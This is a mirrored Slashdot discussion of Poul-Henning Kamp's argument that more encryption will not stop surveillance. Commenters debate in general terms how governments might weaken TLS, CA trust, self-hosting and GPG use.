Slashdot Mirror


More Encryption Is Not the Solution

CowboyRobot writes "Poul-Henning Kamp argues that the 'recent exposure of the dragnet-style surveillance of Internet traffic has provoked a number of responses that are variations of the general formula: "More encryption is the solution." This is not the case. In fact, more encryption will probably only make the privacy crisis worse than it already is.' His argument takes a few turns, but centers on a scenario that is a bit too easy to imagine: a government coercing software developers into disabling their encryption: 'There are a whole host of things one could buy to weaken encryption. I would contact providers of popular cloud and "whatever-as-service" providers and make them an offer they couldn't refuse: on all HTTPS connections out of the country, the symmetric key cannot be random; it must come from a dictionary of 100 million random-looking keys that I provide. The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?). In the long run, nobody is going to notice that the symmetric keys are not random — you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'"

207 comments

  1. Disturbing by Anonymous Coward · · Score: 0

    A harrowing thought indeed.

    1. Re:Disturbing by MrNaz · · Score: 2

      The answer: Don't use cloud.
      OwnCloud. Zimbra. Jitsi. OpenSIP. All of these allow for strong encryption.

      What do we need commercial cloud services for again?

      --
      I hate printers.
  2. Just one problem... by Anonymous Coward · · Score: 0

    That would probably take less than 500ms.

  3. Air America by hduff · · Score: 1

    And who says the government doesn't already run some of these services themselves?

    --
    "I believe in Karma. That means I can do bad things to people all day long and I assume they deserve it." : Dogbert
    1. Re:Air America by Anonymous Coward · · Score: 0

      cloudflare?

  4. quick key repetition by Dizzer · · Score: 4, Interesting

    After about 15000 connections you would see the first repetition of a key. That scheme would be discovered in NO TIME.

    1. Re:quick key repetition by Anonymous Coward · · Score: 1

      Assuming you're looking for it.

    2. Re:quick key repetition by Anonymous Coward · · Score: 1, Insightful

      After about 15000 connections you would see the first repetition of a key. That scheme would be discovered in NO TIME.

      Admit it: You're not poring over and analyzing every key that passes through HTTPS. No, seriously, you're not. And you haven't been doing so, EVER, for your entire internet life. Yes, yes, I know, NOW you're going to concoct some harebrained scheme on your firewall to look for it, post it on GitHub, and brag about how l337 you are to all your fellow tinfoil haberdashery fashion designers. But only now that someone's put that idea in your head. You absolutely, ultimately never would've figured that out on your own.

      Now, let's say they come up with a completely different scheme. Or, let's say they don't. You never know. Go foil it.

      What? No, that's all the information I'm giving you: "A scheme, or maybe not". That's all the information you'd get in that situation. So get to work, hotshot.

    3. Re:quick key repetition by Anonymous Coward · · Score: 4, Interesting

      There are better ways to hide the fact that the encryption was gimped:

      1: Escrow parts of the private key similar to how Lotus Notes did it when ITAR was in effect, limiting RSA to 64 bits. Impossible to detect.

      2: Save the D-H session keys and set them aside.

      3: Force Web browser makers to add another CA (who would notice.)

      4: Hose the private key generation algorithm, similar to the glitch in Ubuntu.

      5: For services that supposedly save the key only on the client side (Wuala), force them to make an update that sends the password over, then another update covering tracks. This could be done for just one account, groups, or all users.

    4. Re:quick key repetition by shentino · · Score: 2

      The lovely thing is that the CA would probably be forced to cooperate with this.

      This is the problem with centralized encryption: single points of failure.

      This general situation also reveals that the government already has us by the balls and can decrypt anyone they damn well please anyway.

    5. Re:quick key repetition by Anonymous Coward · · Score: 0

      >3: Force Web browser makers to add another CA (who would notice.)
      you mean you DONT think there would a HUGE uproar on /. when a firefox dev leaked that this had happened?

    6. Re:quick key repetition by Anonymous Coward · · Score: 1

      Better solution to 2 for those who want to hurt encryption: always use the same secret on the server side but change everything else. It will look like you are doing it properly but anyone who captures the traffic and knows one secret can figure out the rest.

    7. Re:quick key repetition by Anonymous Coward · · Score: 0

      Then we pull the cert of the first CA caught cooperating.

    8. Re:quick key repetition by Anonymous Coward · · Score: 1

      I've been making a similar arguement recently. I think it's far better to go to a site and see the SSL cert warning and be aware that SSL is in use and that the feds *probably* didn't hijack it, or if they did at least they would have to do it one site at a time rather than to simply be automagically logged into a site where the CA was approached/threatened by the feds so they can watch you with zero restrictions.

    9. Re:quick key repetition by Anonymous Coward · · Score: 0

      Most people don't read Slashdot. As in like more than 99% of the world.

    10. Re:quick key repetition by mprinkey · · Score: 2

      Replace the 100 million key dictionary with a PRNG seeded with a secret key, some time information, and source/destination ports and addresses. The NSA would have the PRNG, the key, and the seeding input from the packet. They could deduce the key without much effort and the keys would appear truly random to anyone without knowledge of the secret key, no matter the sample size.

    11. Re:quick key repetition by Anonymous Coward · · Score: 1

      What, you think the 1% who do won't be able to get the word out to their less technical family members, who will in turn tell their friends, co-workers, bosses, etc, who will in turn tell their friends, co-workers, bosses, etc, cascading into a full-on shitstorm?

    12. Re:quick key repetition by Anonymous Coward · · Score: 0

      IE and Chrome on Windows auto add CAs that are signed by Microsoft or other CAs.

      Try it yourself. Delete some CA from your list. Go visit a site with a cert signed by that CA, and their CA cert is automatically added.

      Yes not everyone uses IE or Chrome on Windows but enough do.

    13. Re:quick key repetition by icebike · · Score: 4, Informative

      What, you think the 1% who do won't be able to get the word out to their less technical family members, who will in turn tell their friends, co-workers, bosses, etc, who will in turn tell their friends, co-workers, bosses, etc, cascading into a full-on shitstorm?

      Exactly.
      One guy, Snowden, a geek by anyone's definition, managed to stir up a shitstorm of monumental proportions.
      People are now pissed enough, or perhaps I should say enough people are pissed, that another attempt like that would bring down the whole house of cards.

      The government would probably have to engineer another terrorist attack, with mass casualties in order to induce people to demand that Congress authorize such a power grab.

      --
      Sig Battery depleted. Reverting to safe mode.
    14. Re:quick key repetition by ls671 · · Score: 2

      mod parent up.

      Just accept the cert the first time you visit the site. Just like logging in for the first time through SSH. Just check the cert/key fingerprint with an alternative manner. Just generate your own cert/keys. It indeed sounds more secure now. Do not forget, technology and information always end up leaking eventually and some criminals may end up with it faster than we think.

      --
      Everything I write is lies, read between the lines.
    15. Re:quick key repetition by Anonymous Coward · · Score: 0

      Protip: Key/Value Hashes

      Once revealed, trust is broken, forever.

    16. Re:quick key repetition by rioki · · Score: 2

      It actually is not a browser thing. Both IE and Chrome use the Windows built in keystore. It probably is a feature, in that some dumb users delete CAs and then complained at MS. So to fix it the keystore has an alternate list of CAs that can be loaded and updated by windows update. Firefox is sort of special in that they use their own keystore. But then again a Windows Update could also patch the FF keysotre. So basically you are using an OS you did not compile from sources (and checked the sources first) that has has an auto update feature: Hello three letter agencies.

    17. Re:quick key repetition by smash · · Score: 1

      Or rather, set up your own CA. You still want to be able to revoke a cert if it is stolen and the cert can have the CRL built into it. Relying on a public CA is only somewhat useful if you're dealing with an untrusted third party.

      --
      I run: Windows, OS X, Linux, FreeBSD. Just because you have a hammer, doesn't mean everything is a nail.
    18. Re:quick key repetition by smash · · Score: 2

      Why add another CA when you can just bribe one of the existing ones?

      --
      I run: Windows, OS X, Linux, FreeBSD. Just because you have a hammer, doesn't mean everything is a nail.
    19. Re:quick key repetition by MrNaz · · Score: 1

      Self-signed certs and trivial user training for all those who care about privacy. Anyone cluey enough to know privacy is a problem is cluey enough to be able to add a cert to their browser.

      --
      I hate printers.
    20. Re:quick key repetition by Anonymous Coward · · Score: 0

      How long did it take to notice the debian ssl defective rng fiasco? That's 200 keys before collision for you.

    21. Re:quick key repetition by wagnerrp · · Score: 2

      CAs exist for authentication, not encryption. You either need central authentication, or you need to individually authorize each and every identification key from every entity you communicate with, and even then how would you know that first initial contact didn't have someone in the middle?

    22. Re:quick key repetition by Anonymous Coward · · Score: 0

      Too much money in this to NOT expect this to happen.

    23. Re:quick key repetition by X0563511 · · Score: 1

      The CA cannot decrypt data encrypted with a key they signed. All they can do is sign the public key - the private key remains in the control of whoever runs the server using it.

      Granted, a CA could (by policy) require you to give them the key... but my response to them would consist of my saying "eat shit and die."

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    24. Re:quick key repetition by Anonymous Coward · · Score: 0

      Only un-patriotic Terrrrooorrroaarists operate their own CA. Didn't Faux News tell you ???

      Now let officer Donovan guide you to the reeducation room where they use water to make you regain a patriotic conscience !

    25. Re:quick key repetition by Anonymous Coward · · Score: 0

      Why bribe anybody when you have secret courts and you can just push fancy scary papers at them that make even their lawyers knees wobble?

    26. Re:quick key repetition by Anonymous Coward · · Score: 0

      http://en.wikipedia.org/wiki/Web_of_trust

    27. Re:quick key repetition by Anonymous Coward · · Score: 0

      The government would probably have to engineer another terrorist attack, with mass casualties in order to induce people to demand that Congress authorize such a power grab.

      That's scary, but likely under the circumstances.

    28. Re:quick key repetition by icebike · · Score: 1

      Already in progress.

      Embassies ordered closed all over the middle east for next Sunday. No doubt this will be attributed to something they picked up on someones email. Someone will throw a rock or a grenade somewhere in the middle east and there will be a big "We told you so" moment.

      --
      Sig Battery depleted. Reverting to safe mode.
  5. Passwords don't work either by Anonymous Coward · · Score: 0

    People don't want to have a dozen different passwords to remember, too much work and bother.

    1. Re:Passwords don't work either by Anonymous Coward · · Score: 0

      People don't want any security whatsoever, they just want things to work as-is. We're lucky we can even get them to type a weak password. They also don't care about security either, they don't mind the government snooping on them as long as their neighbour doesn't learn that they walk around in the house naked... People have their priorities wrong and those in power know it.

    2. Re:Passwords don't work either by interval1066 · · Score: 5, Interesting

      All too true, people don't want to bother with any effort for a return they really can't see. Its hard to appreciate encryption when the effects of opentext on their private lives is difficult to impossible to gauge. Until they get hit. After a small dns server I ran got hit, I didn't really pay much attention to it either. 10 years on I still cover my tracks whenever possible, encrypt my drives (linux and truecrypt make this pretty easy), prefer encrypted smtp providers, and ask people I correspond with for their public encryption key. If they ask me what that is I explain it to them. If they say they don't care then I move on, but if they express interest I help them set up. If they say "no one uses that" I show them that I do, many of my friends do, and to look at the news lately. Its in everyone's interest to manage their privacy. If you are into managing your life like a business then its just another procedure to add to your list. If not, well, I wouldn't want to be you.

      --
      Python: 'And then suddenly you have a language which says "we're all stuck with whatever the whiniest coder wants".'
  6. Call it the Fermat's Last Theorem Effect by Anonymous Coward · · Score: 2, Interesting

    When the government notices lots of encrypted messages that can't be easily cracked by their codebreaking machines, they start to get interested. Real interested. Just like when mathematicians discovered that nobody could prove a simple theorem in high school algebra, every math Ph.D spent some time looking into that until the problem was solved.

    1. Re:Call it the Fermat's Last Theorem Effect by TWX · · Score: 5, Insightful

      Like bank transfers and just about all financial-services communications?

      There are so many people that move around in this world that I expect good old-fashioned sneakernet with one-time pads will just become the norm, especially when time is not necessarily of the essence. When more data is needed then micro-SD will be employed, and encrypted connections will be left for when absolutely necessary.

      When I was a kid, if my friends and I wanted to meet up, we had to generally all agree where we were going to meet in-advance, generally at school or when we were previously together, or a few of us had to decide and then had to manually pass the word on to others, who in-turn passed the word on to others until everyone was notified. We could coordinate and plan without "the authorities" in the form of our parents really knowing what was going on if we chose to keep them uninformed.

      If the evil "they" still want to do us harm they can do it entirely offline. They proved that with how long it took to identify Osama Bin Laden's location, he avoided all outgoing traffic other than couriers and it took years to find him.

      The brothers that bombed the Boston Marathon managed to avoid being caught in advance due to a typographical error. A Buttle/Tuttle type of snafu literally lead to the older brother's slipping through the cracks. Even after all of everything that happened, the younger brother was caught because a homeowner noticed some blood on his boat. Helicopters, infrared, and door-to-door searches failed to find him.

      It hasn't been demonstrated satisfactorily to me that heavy encryption means that there's anything relevant to the authorities being transmitted therein.

      --
      Do not look into laser with remaining eye.
    2. Re:Call it the Fermat's Last Theorem Effect by Anonymous Coward · · Score: 0

      When the government notices lots of encrypted messages that can't be easily cracked by their codebreaking machines, they start to get interested.

      So just imagine how they'd react if people (or better yet, software) started sporadically sending messages that comprised blocks of data from /dev/[u]random.

      Although from some of the spam I get, this may already be happening.

    3. Re:Call it the Fermat's Last Theorem Effect by Ziest · · Score: 2

      There you go. Poison the well. If people started generating general random bullshit, and the key here is random, the database would eventually get filled with useless data. Yes, I know their databases are measured in petabytes but the question is how much bad data can be injected into a database before the database is rendered useless, they can't tell the good from the bad. Obviously its way more than 1% and less than 75%.

      The other point is that they are banking on people being creatures of habit from which patterns can be developed. During the cold war the spy agencies both in the West and the USSR developed methods, rules if you will, that their agents worked under. You hear them called "Moscow Rules". A study of these methods might be educational.

      --
      Another day closer to redwood heaven
    4. Re:Call it the Fermat's Last Theorem Effect by TheLink · · Score: 1

      If I were the NSA I would ask Google etc to provide keyword lists (from search keywords etc) and user plaintext passwords. I'm sure most people's passwords/passphrases would have "words" that are on those lists. Then if they ever really need to crack your Truecrypt container they'll have a good chance at it.

      --
    5. Re:Call it the Fermat's Last Theorem Effect by Cid+Highwind · · Score: 1

      The password dictionaries are already out there for anyone to download, with hashes and cracked passwords from the LinkedIn, PSN, etc. web site exploits over the last few years. Better than any list of words Google searches might reveal.

      --
      0 1 - just my two bits
    6. Re:Call it the Fermat's Last Theorem Effect by TheLink · · Score: 1

      You actually don't believe that Google has access to more keywords and passwords than those in password dictionaries?

      Google's list would be a superset since Google crawls all of that. They even had wifi data gathered from around the world. They are likely to have most of the words/passwords that have appeared on the Internet (they even have had a fair bit of USENET).

      While that would be a huge number that is still a lot less to go through than say brute forcing AES.

      --
  7. No story? by Anonymous Coward · · Score: 5, Insightful

    No link to any story at all? Since when does Slashdot provide a private blogging platform on the front page?

    1. Re:No story? by unrtst · · Score: 1

      Agreed. And it's not even much of a blurb.

    2. Re:No story? by Anonymous Coward · · Score: 2, Informative

      Had to dig a little, but found it in the ACM Queue. NB: the article is about a month old.

      http://queue.acm.org/detail.cfm?id=2508864

    3. Re:No story? by Anonymous Coward · · Score: 0

      Oh it's there, it's just encrypted. ;)

    4. Re:No story? by Garridan · · Score: 1, Informative

      Are you new to the internet? http://lmgtfy.com/?q=More+encryption+is+not+the+solution+Poul-Henning+Kamp&l=1
      NB: the article is about a month old.

      FTFY.

    5. Re:No story? by dkf · · Score: 1

      Since when does Slashdot provide a private blogging platform on the front page?

      That was what Rob Malda started it as...

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    6. Re:No story? by Anonymous Coward · · Score: 0

      Anyone that uses lmgtfy.com is definitely a noob.

    7. Re:No story? by Hobadee · · Score: 1

      Since when does Slashdot provide a private blogging platform on the front page?

      You must be new here.

      --
      ...Had this been an actual emergency, we would have fled in terror, and you would not have been informed.
  8. In this scenario, the endpoint is compromised. by Arancaytar · · Score: 5, Insightful

    In that case, indeed, no amount of encryption will save you.

    1. Re:In this scenario, the endpoint is compromised. by Arancaytar · · Score: 2

      (In particular, if you can put pressure on the provider, why bother forcing them to use weak encryption and then wiretapping? Forcing them to give you direct access to servers and connection data would be simpler.)

    2. Re:In this scenario, the endpoint is compromised. by Anonymous Coward · · Score: 2, Insightful

      It has to be emphasised that this therefore DOES NOT lead to the conclusion "More Encryption Is Not the Solution". The (as of yet unlinked) article is wrong on a fundamental level if this is what it tries to argue.

    3. Re:In this scenario, the endpoint is compromised. by Anonymous Coward · · Score: 1

      In that case, indeed, no amount of encryption will save you.

      This. Encryption is supposed to protect the data in transit. If the endpoint is compromised, there is no need to weaken the encryption to defeat it: simply access the information after decryption (like the NSA does via Google, Microsoft etc).

      How to really use encryption: both end points (aka, where the encryption and decryption happen) are trusted. Ex: send a file you encrypt to some server (say mega, your gmail, whatever) that does not know the key. Since you perform the encryption including software and algorithm selection and key generation, its safe. Then someone you trust (like yourself at some later point) can decrypt it with the key that you didn't give to anyone else. Similar rules apply to directly streaming data to a trusted end point.

      If you trust Google (oops, bad idea) and the certificate authorities (maybe bad idea), you can connect to their servers over TLS. Then, before sending any data, you might want to sanity check their certificate and encryption to see if its reasonable to resist man in the middle attacks.

      When it comes to the other aspect of privacy: hiding that it is you sending the data (as apposed to hiding what the data is), services like TOR are whats needed. Given that such services use lots of encryption, once again more encryption is part of the answer.

      Personally I'd like to see if we could get some partial encryption of destination addresses in at the IP level. If I was in the UK, I'd much rather have them know I'm sending packets through the US than that they are going to a specific IP address there. That would require decryption and modification of a portion of the IP address in packets by the major backbone routers though, which seems like way too much to ask performance wise, not to mention the key distribution and trust problems (and clients would need to know some of the routing tables, and it would prevent multipath. So many issues!). If implemented and if used with end to end encryption like TLS, it would really destroy and hope of their censorship plans. (Yes, this amounts to turning the internet backbone into simplified and much computationally lighter version of TOR)

    4. Re:In this scenario, the endpoint is compromised. by Anonymous Coward · · Score: 2, Interesting

      This is actually what the NSA is doing, they require Google/Microsoft/Yahoo/etc as well as ISPs / telcos provide them a room where traffic goes after it's been decrypted. They get all the data in plaintext, so they don't have to worry about it. Use google drive, gmail, skydrive, hotmail, etc? All your data has been turned over already.

    5. Re:In this scenario, the endpoint is compromised. by phantomfive · · Score: 2

      Yeah, no one is going to do something tricky about non-random keys (and I do think someone would eventually notice).

      All the government does is say, "give us your data." It's much easier, and effective.

      --
      "First they came for the slanderers and i said nothing."
    6. Re:In this scenario, the endpoint is compromised. by Anonymous Coward · · Score: 0

      If you need the endpoint to have the plaintext: true.
      If the endpoint is something like Google Docs, upload e.g. AES-encrypted docs.
      Make sure decryption keys are not available to Google, only to computers who need access to the docs (they then must access the docs locally).

      Tadaa, some amount of crypto and a reduction of relying on the cloud saved you.

    7. Re:In this scenario, the endpoint is compromised. by Anonymous Coward · · Score: 0

      (Different AC here) - someone needs to mod the parent AC up. TFS is deeply, dangerously wrong, and it would be unfortunate if people without much understanding of the topic in question were to believe it.

      I almost wonder if its writer is a NSA plant. "Don't use encryption, it won't do you any good!"

      Bah.

    8. Re:In this scenario, the endpoint is compromised. by DuckDodgers · · Score: 4, Insightful

      Right. This "More Encryption is Not the Answer" assumes everyone continues to use the big cloud corporations for the data.

      If I host my own email and use PGP, host my own distributed social network instance, browse the internet through Tor, use Yacy for search where possible, etc... then all I have to do is ensure my SSL certificate is valid (or use a self-signed one but find a secure way to distribute the signature to my friends). I can do that, the problem is that Johnny Public doesn't care to do it.

      Which leads me to the conclusion that the solution to the NSA problem isn't a political one, it's an engineering one. It's a huge engineering problem, but the cynic in me says the open source community will get far more accomplished with regards to reigning in government surveillance than our elected officials.

    9. Re:In this scenario, the endpoint is compromised. by Narcocide · · Score: 1

      Yea, my sentiments exactly. This guy is at best completely, totally naive. But I don't need to point out that due to the absurdity and inaccuracy of his arguments its far more likely to be worse than that, nor do I need to point out in what ways.

    10. Re:In this scenario, the endpoint is compromised. by Lennie · · Score: 1

      What I think is strange about the article is that encryption can also be used to just raise the bar.

      If we use transport encrypted protocols like HTTPS, IPSEC, etc. everywhere we'll take away their dragnet.

      When the police has a warrant they can search your home, but they shouldn't be installing government camera's in every home.

      --
      New things are always on the horizon
    11. Re:In this scenario, the endpoint is compromised. by Anonymous Coward · · Score: 0

      Essentially, the cloud is 100% insecure for everybody who slightly disagrees with USG.

    12. Re:In this scenario, the endpoint is compromised. by Anonymous Coward · · Score: 0

      Do you have to host it yourself or do you have to trust a cloud provider? (Can you even trust any cloud provider? Even if the data is encrypted, they just peek into your VM's memory for the key in cleartext...)

    13. Re:In this scenario, the endpoint is compromised. by steelfood · · Score: 1

      Distrust, decentralize, distribute.

      Trust no one, nothing, more than anyone, anything else. For example, self-signed certs are just as trustworthy as those signed by a CA.

      Decentralize and distribute the information storage. Basically, a P2P/Freenet type of architecture where information is not stored in one place. Your own website could be distributed across multiple machines. When somebody requests a page, you go out and look for your pages from the distributed pool, then come back. But the individual machines don't know what they're holding, nor would anyone else possessing those machines without yours.

      --
      "If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
    14. Re:In this scenario, the endpoint is compromised. by DuckDodgers · · Score: 1

      You have to host it yourself. You can't trust a provider. Obviously that makes the barrier to entry high.

      But in theory (of course), we have most of the tools in our possession to make this work, we just need the software. Most people have their previous smart phone collecting dust somewhere, that could run a distributed secure social network and hosted email with integrated encryption. You would just have to dust it off, plug it in somewhere near your wireless access point, and install the software. Click through a simple setup wizard, and you're off. Then throw in an open source program to automate backups of your private social network site on the phone and automatically copy them (in encrypted form) to other local storage you designate, or maybe space reserved for your use by some key friends in your social circle.

    15. Re:In this scenario, the endpoint is compromised. by DuckDodgers · · Score: 1

      The problem with a self-signed cert is that you need some secure way to distribute the certificate's digital signature to your friends. If your friend doesn't know or doesn't check the digital signature of your self-signed certificate, someone else can do a man-in-the-middle attack. You and I know to check digital signatures, but most of the general public doesn't know or knows but doesn't care. A CA, in theory, establishes a chain of trust so your friends don't have to check the certificate digital signature. In order for our hypothetical distributed encrypted network to work for any more than a small percentage of motivated engineers, it has to be dead simple to use.

      I had not been thinking of completely distributed storage. I had thought of a personal "master" node and several distributed backups including one or more nodes that can be a hot standby for the master. Otherwise a single hardware failure, theft, etc... can result in a permanent loss of data.

  9. Serve yourself. by intermodal · · Score: 2

    You don't honestly think I liked all that hand-editing and drudging through man files and so on that I had to do to run Linux when I switched twelve years ago, do you? I switched because I knew that the major vendors couldn't be trusted, and that I needed to learn systems that weren't shielded from users auditing them and securing them outside the scope of what was marketable.

    Today, I no longer need to rely on major software and service venders for most things. That puts me ahead of the game. Of course, it's only as good as the services I provide for myself, and the security of the ones I use outside my own.

    --
    In SOVIET RUSSIA... erm...NSA AMERICA, the Internet logs onto YOU!
    1. Re:Serve yourself. by Shoten · · Score: 2

      You don't honestly think I liked all that hand-editing and drudging through man files and so on that I had to do to run Linux when I switched twelve years ago, do you? I switched because I knew that the major vendors couldn't be trusted, and that I needed to learn systems that weren't shielded from users auditing them and securing them outside the scope of what was marketable.

      Today, I no longer need to rely on major software and service venders for most things. That puts me ahead of the game. Of course, it's only as good as the services I provide for myself, and the security of the ones I use outside my own.

      And yet, you're posting on Slashdot. Buying things from Amazon, probably, and banking online as well too. Did you build your cell phone from scratch, and validate all the systems of your cellular provider as well? If you run Ubuntu..or Debian...or Redhat, how will you be sure that the binaries you're getting from apt-get or RPM are the ones that match the source code you can read with your own eyes? (Keep in mind that last month there was a Slashdot article that pointed out the difficulty of getting the exact same binaries produced from the same source code, based on variances on the machines that do the compiling and the optimization flags...so forget about compiling your own binaries and just comparing the hash/filesize tuple.) For that matter, if you're using Gentoo will you read ALL of the source code all over again every time there's an update? What you say sounds great in theory, but in practice I don't believe you're as self-sufficient as you think you are.

      Oh, and I remember doing all of that editing and reading of man files too...but I never would have spotted code that was meant to weaken crypto. Editing a config file or reading a man file does not equal a proper code audit.

      What's really scary to me about the proposed scenario is this: not only does it plausibly describe a situation where the common man's privacy and security are jeopardized, in that scenario the truly bad guys...the ones who WOULD really be more self-sufficient...would run their own systems to some degree and be outside the scope of much of the tainted encryption. This is much as it was back when our government forbade export of strong crypto; the bad guys got it anyways, and the good guys were kept from using it in many situations.

      --

      For your security, this post has been encrypted with ROT-13, twice.
    2. Re:Serve yourself. by Anonymous Coward · · Score: 2, Insightful

      Your mistake is to think in absolutes. It is not because you have multiple non anonymous parts of your life that you should give up on protecting whatever you can of your privacy.

      Yes, certainly you are not 100% safe, but an open source OS will be messed with by a large number of people and anyone who finds an irregularity will raise the flag. You cannot have a certainty of security, but you certainly have a lot more chance of detecting misdeeds than with closed source.

    3. Re:Serve yourself. by Shoten · · Score: 2

      Your mistake is to think in absolutes. It is not because you have multiple non anonymous parts of your life that you should give up on protecting whatever you can of your privacy.

      Yes, certainly you are not 100% safe, but an open source OS will be messed with by a large number of people and anyone who finds an irregularity will raise the flag. You cannot have a certainty of security, but you certainly have a lot more chance of detecting misdeeds than with closed source.

      I think you're missing the point of surveillance and how it works. Surveillance is about interaction between multiple people...who speaks to whom, what is said, transactions between organizations, etc. What you run at home is of no real consequence whatsoever; what is monitored is not what stays inside your own computer. You can have totally secure code at your end, but if the key generation at the other end is in some way compromised, so is all crypto that is supposed to protect your communications with that endpoint. And in the scenario described here, that's exactly the situation.

      I would hasten to point out that even now, the surveillance has absolutely no dependency whatsoever on closed source code; the providers are the source of the monitoring, not the software itself. There's no need to go through all the trouble of trying to get code inserted into all those different pieces of software; just go to about a dozen different companies, twist their arms, and at least 95% of the online population will interact with one of them. Add that to monitoring of cellular providers, traffic analysis of backbone providers, and you've got a really rich feed of information...all without a single line of code put into anyone's endpoint systems at home.

      --

      For your security, this post has been encrypted with ROT-13, twice.
    4. Re:Serve yourself. by markjhood2003 · · Score: 1
      Are you also filtering out Intel updates to your CPU microcode?

      http://wallstcheatsheet.com/stocks/your-computer-may-already-be-hacked.html/?a=viewall

  10. Encryption isn't by Anonymous Coward · · Score: 0

    Encryption if you can't trust the remote end point.

  11. The solution is Global Mesh Networking by ClassicASP · · Score: 2

    Decentralize the internet and make it run such that there are no "providers". All internet is available where participants are willing to use it and make it available to others, and all traffic flows in the path of least resistance. Users can also flag and blacklist participants who look suspiciously like big brother, so they get skipped in the chain of communication.

    1. Re:The solution is Global Mesh Networking by hibiki_r · · Score: 1

      Except for something like that to work, you need connections, and said connections require laying large amounts of fiber. Who is going to build a line that crosses an ocean, or even one that links two major cities?

      And there's also the equipment: Even if I have a fiber line heading to Chicago, and a bunch of local people that connect to my hardware, then I need to have the hardware to route their packages to the line. I doubt I can do that with some old linksys router running tomato. I'd need a whole lot of hardware to manage all that much traffic, and a lot of electricity spent to keep it running. At that point I better be charging, or I won't be able to afford it. At that point, I am a provider of a big fiber line, and all the people that don't have a long, valuable route coming out of their place are not.

      Even if in a network, all members are theoretically peers, there'll be some that are far more important than others. All you have to do is peer into a few important ones.
      Not to mention that you can't really run a system for flagging nodes not to use without major risk of sabotage. If some people can gant up together and send a post to -1 because they do not like it, imagine the damage you could do by taking off a few key nodes on a grid.

    2. Re:The solution is Global Mesh Networking by Anonymous Coward · · Score: 0

      Allow blacklisting and then big brother will take advantage of it to get rid of dissidents. It's a double edged sword you should avoid at all costs.

    3. Re:The solution is Global Mesh Networking by Anonymous Coward · · Score: 0

      Well I should have mentioned that its WIRELESS mesh, not wired. And yes, its gonna consume more electricity. But I wonder if that increase in each participants electric bill would just be that of the cost of a cable internet connection. Swap one bill for the other. And of course have some sort of max-concurrent-connection handling place such that requests take a different route when one is is maxed-out. Maybe a max threshhold of 25 or 50. Basically the traffic would flow like water through a sponge. It can't all go through one hole; it passes through one of the many available.

    4. Re:The solution is Global Mesh Networking by neonmonk · · Score: 1

      Consume more electricity? It's going to be as slow as molasses.

      I think fixing the government & service providers is probably easier & better.

    5. Re:The solution is Global Mesh Networking by ardor · · Score: 1

      A mesh network would have terrible latency, at least in its current generation.

      --
      This sig does not contain any SCO code.
  12. They can always argue by Anonymous Coward · · Score: 0

    I don't see any logic in that argument.

    Current situation: Few of the services are properly encrypted. Key service providers are coercer to work with intelligence services (or they see profit in it) and they get the most of the data anyway. Other open and independent products can be considered safe (as far as crypto is properly implemented.. for which there are no guarantees).

    More crypto situation: Most of the services are properly encrypted. Key service providers are still working with intelligence services. However, you now have more options for secure services than before. Some of them might be compromised in the similar way but they would still get less personal data. Which is only a good thing.

  13. Links or it didn't happen by zacs · · Score: 5, Informative

    It would be super cool if there was some kind of technology that allowed you to provide a link to the source material for discussion...

    http://queue.acm.org/detail.cfm?id=2508864

    --
    This is a sig
  14. Complete idiocy by Anonymous Coward · · Score: 5, Insightful

    In other news, locks do not work if someone gains a copy of your key. Therefore more locks are not the solution, and locks actually harm security!

    Wait...what?

    This is complete rubbish. Of course encryption doesn't work if you are trusting a giant cloud corp. not to have a man on the inside corrupting the encryption process.

    That is the exact reason why more encryption is the answer! People need to be taking the issue into their own hands, using their own (open source) personal or community-driven encryption schemes that are provably secure. Trusting a giant corp. to generate your keys for you and presuming that is THE ONLY WAY encryption can work is such fantastically F.U.D I don't even know where to begin.

    1. Re:Complete idiocy by shentino · · Score: 1

      This is more like everyone buying more locks, but the spooks have an insider at the lock factory making them easy to pick for the feds.

      Furthermore, the lock and key guilds are chummy with the merchants who refuse to do business without them.

    2. Re:Complete idiocy by MightyMartian · · Score: 1

      Indeed. The problem here isn't encryption, it's trusting commercial CAs that are more than likely providing governments with private keys so these governments can proceed with man-in-the-middle decryption. If you create your own CA and properly manage your private keys, then said governments are out in the cold.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    3. Re:Complete idiocy by BeerCat · · Score: 1

      Trusting a giant corp. to generate your keys for you and presuming that is THE ONLY WAY encryption can work is such fantastically F.U.D I don't even know where to begin.

      The reason that PGP (or GPG or whatever) encryption isn't standard, despite being suggested for the best part of the last 20 years, is because it is Too Much Effort (tm)

      If an easy to use system is implemented ("check here to encrypt all your emails" type easy), then most people won't bother confirming whether the "encryption" uses proper random keys, or conveniently "provided by the software vendor" (read - 'one of those not really random') keys.

      And, with propriety software, how (other than sending many thousand test emails) would most people test whether the keys used were properly generated, or generated using a pre-defined dictionary?

      --
      "She's furniture with a pulse"
    4. Re:Complete idiocy by 0123456 · · Score: 1

      Indeed. The problem here isn't encryption, it's trusting commercial CAs that are more than likely providing governments with private keys so these governments can proceed with man-in-the-middle decryption.

      But that's easy to prove.

      Just produce one example of a fake key signed by a CA.

      CAs who've been shown to produce fake keys generally haven't lasted long.

    5. Re:Complete idiocy by Anonymous Coward · · Score: 0

      TNO. Without it, it's blind trust cloud providers will protect your interests.

    6. Re:Complete idiocy by mstefanro · · Score: 1

      A government would probably not be able to perform a MITM attack to the masses, as someone would eventually figure it out (pubkeys being different all of a sudden). On the other side, if you are talking about a government going through the trouble of targeting a specific individual with a MITM attack, then he either has powerful enemies or is a suspect. Either way, one is usually aware of being in such a situation. It would therefore be foolish to not take additional precautions to protect yourself.

    7. Re:Complete idiocy by Anonymous Coward · · Score: 0

      The reason that PGP (or GPG or whatever) encryption isn't standard, despite being suggested for the best part of the last 20 years, is because it is Too Much Effort (tm)

      I have set up GPG many times on many systems, and the level of difficulty of doing so approaches triviality. It's little more complex than pushing "return" a few times to accept some defaults, and mailing a file (your public key) to your buddy. Everything else - including integration into common mailers - is handled automatically. It's as close to a no-brainer as you can get.

      If that is what constitutes "just too hard!" these days, then I weep for our species. It's far, FAR easier to set up GPG encrypted mail than, say, to bake chocolate chip cookies, or add up some expenses for a monthly budget. People can do those things, yes? Setting up GPG is easier.

      If people don't do it, it's because they don't care.

    8. Re:Complete idiocy by MichaelSmith · · Score: 1

      Popular mailers like Thunderbird really do make it that easy.

